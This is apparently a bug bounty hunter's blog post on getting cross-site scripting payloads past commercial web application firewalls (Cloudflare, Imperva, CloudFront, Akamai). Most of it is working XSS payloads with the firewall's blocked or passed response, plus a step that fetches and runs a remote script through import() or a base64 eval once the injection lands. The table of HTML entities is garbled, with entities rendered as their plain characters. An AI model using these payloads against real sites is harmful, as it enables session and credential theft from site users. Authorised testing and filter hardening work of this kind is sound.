When I started bug bounty, a major obstacle was the blocking of my XSS injections by WAFs.
So my quest was to find a “universally” effective payload, which works in most cases
At first I came across programs with cloudflare, although Cloudflare is reputable, it can be bypassed with a variety of payloads available on GitHub or Twitter. Here area few examples I’ve used in my tests.
A commonly used method is to prefix any JavaScript event with on
<img/ignored=()%0Asrc=x%0Aonerror=prompt(1)>
<svg onload=prompt%26%230000000040document.domain)>
<Img Src=On OnError=alert(1)>
My goal was to discover a js event bypass payload for use in XSS injections with double quotes in cases where you can’t reopen a tag, and of the classic tag injections.
" onerror[JS]
<img src=x onerror=[JS]>
During my search for the magic payload, i identified several possible injection points. However, most of the characters were blocked by WAFs because they were blacklisted. I looked at the left side of the events, I discovered that by adding a character before the JavaScript event name, the payload was accepted.
Description | Status |
---|---|
The WAF blocks | 403 |
The payload passes | 200 |
The payload is syntactically valid | Valid |
The payload is syntactically invalid | Invalid |
onerror=[JS]
Return 403 Valid
/onerror=[JS]
Return 403 Valid
aonerror=[JS]
Return 200 Invalid
So, I started thinking about quotes that can be concatenated with the event name :
<x ""onerror=[JS]>
Return 200 Invalid
<x x="""onerror=[JS]>
Return 200 Invalid
<x x=""onerror=[JS]>
Return 403 Valid
When an odd number of quotes is used, it works, but it’s not valid because the quotes concatenate to the event name. I thought I’d try using entities, which are aliases for certain special characters. By replacing the middle quotes with an entity alias the payload is valid and bypasses WAFs !!!!!
🔥""“🔥
<x x="""onerror=[JS]>
Html entity are very usefull when the & character is not filtered. To my knowledge there are 3 types available :
- Named entities used for the bypass
' -> '
" -> "
` -> `
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> <
> -> >
\n -> 

\t -> 	
nbsp ->
\ -> \
' -> '
" -> "
` -> `
( -> (
{ -> {
} -> }
& -> &
< -> <
> -> >
\n -> 

\t -> 	
nbsp ->  
\ -> \
' -> '
" -> "
` -> `
( -> (
) -> )
{ -> {
} -> }
& -> &
< -> <
> -> >
\n ->
\t -> 	
nbsp ->  
\ -> \
With the Numeric and Hex entity, what’s really handy is that you can add as many 0 as you like, often very poorly filtered.
" -> " -> " Numeric entity
" -> " -> " Hex entity
Personally, i quite often use it to load my script once xss has been detected, loading a remote script with import or performing a big base64 eval :
import('https://example.com')
eval(atob('BASE64==='))
back to the WAF bypass now on some wafs this payload works? I tried on the better-known ones I had in my scopes :
Imperva & Incapsula
Works perfectly for imperva and incapsula :
<details/open/id="""ontoggle=[JS]>
Amazon
It also works well for Amazon WAfs, Cloudfront
<details/open/id="""ontoggle=[JS]>
Akamai
For Akamai, I had to add other quotes for it to work
<details open id="' "'"ontoggle=[JS]>
You can retrieve these payloads on my XSS bypass notes on github :
https://github.com/Edr4/XSS-Bypass-Filters